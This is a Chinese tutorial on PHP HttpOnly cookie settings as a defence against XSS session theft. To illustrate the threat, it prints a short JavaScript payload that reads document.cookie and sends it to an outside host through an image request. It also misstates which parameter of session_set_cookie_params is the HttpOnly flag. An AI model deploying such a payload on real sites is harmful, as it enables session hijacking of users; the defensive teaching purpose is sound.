PHP 开启 HttpOnly 防御 XSS 攻击实战

XSS 攻击与 Cookie 窃取原理

XSS 漏洞允许攻击者在受害者浏览器中执行恶意脚本。一旦网站存在反射型或存储型 XSS，攻击者可通过 document.cookie 获取当前用户的会话标识（Session ID）。若该标识未受保护，攻击者即可模拟用户身份登录系统，造成数据泄露或非法操作。

例如，常见的 Cookie 窃取代码片段如下：

url = document.top.location.href;
cookie = document.cookie;
c = new Image();
c.src = 'http://www.test.com/c.php?c=' + cookie + '&u=' + url;

当用户访问被注入该脚本的页面时，其 Cookie 会被发送至攻击者的服务器。HttpOnly 属性的作用正是切断这一链路：设置了该属性的 Cookie，不会暴露给 document.cookie，使得 JavaScript 无法读取。

PHP 设置 HttpOnly 的方法

在 PHP 中启用 HttpOnly 有以下几种常用方式，建议根据应用场景选择全局配置或局部设置。

第1步：通过 php.ini 全局开启

这是最推荐的基础安全措施。修改配置文件中的以下参数：

• session.cookie_httponly = 1 或 true

重启 Web 服务后，所有通过 session_start() 启动的新会话都将自动附带 HttpOnly 标志。这将大幅减少代码层面的遗漏风险。

第2步：使用 session_set_cookie_params 设置

若在代码层需要动态控制，可在启动 Session 之前调用 session_set_cookie_params。注意，该函数的第七个参数即为 HttpOnly 标志位。

注意：session_set_cookie_params 必须在 session_start() 之前调用才能生效。

第3步：使用 setcookie 设置单个 Cookie

对于非 Session 类型的自定义 Cookie，可直接在使用 setcookie() 时指定选项数组或直接传递参数：

// 方法一：PHP 7.3+ 推荐使用关联数组
setcookie('username', 'value', [
    'httponly' => true,
    'samesite' => 'Strict'
]);

// 方法二：旧版本直接传参
setcookie('username', 'value', time() + 3600, '/', '', false, true); // 最后一个参数为 true

第4步：针对低版本 PHP 手动添加 Header

对于 PHP 5.1 之前的老旧环境，上述函数可能不支持 HttpOnly 参数。此时可通过直接发送 HTTP 响应头来实现：

虽然这种写法能兼容旧环境，但在现代开发中不建议依赖此方案，优先升级 PHP 版本或采用标准 API 更稳妥。

注意事项与局限性

开启 HttpOnly 是防御 XSS 导致的数据泄露的重要手段，但它并非万能。它仅防止 JavaScript 读取 Cookie，无法阻止攻击者强制发送 Cookie 到恶意站点（CSRF 攻击），也无法修复 XSS 脚本执行本身的问题。

因此，最佳实践是组合拳：

1. 输入验证与输出编码：从源头杜绝 XSS 脚本注入。
2. 开启 HttpOnly：即使 XSS 发生，攻击者也无法窃取 Cookie。
3. 部署 CSRF Token：防范会话固定与跨站请求伪造。

总结

通过配置 session.cookie_httponly 或在代码中使用正确的参数，可以低成本地提升 Web 应用的安全性。开发者应定期检查 Server 配置与代码逻辑，确保所有敏感 Cookie 均已正确标记为 HttpOnly。

以上就是 PHP 利用 HttpOnly 防御 XSS 攻击的详细内容，更多关于 PHP 安全防护与 Web 安全的资料请关注本站其它相关文章！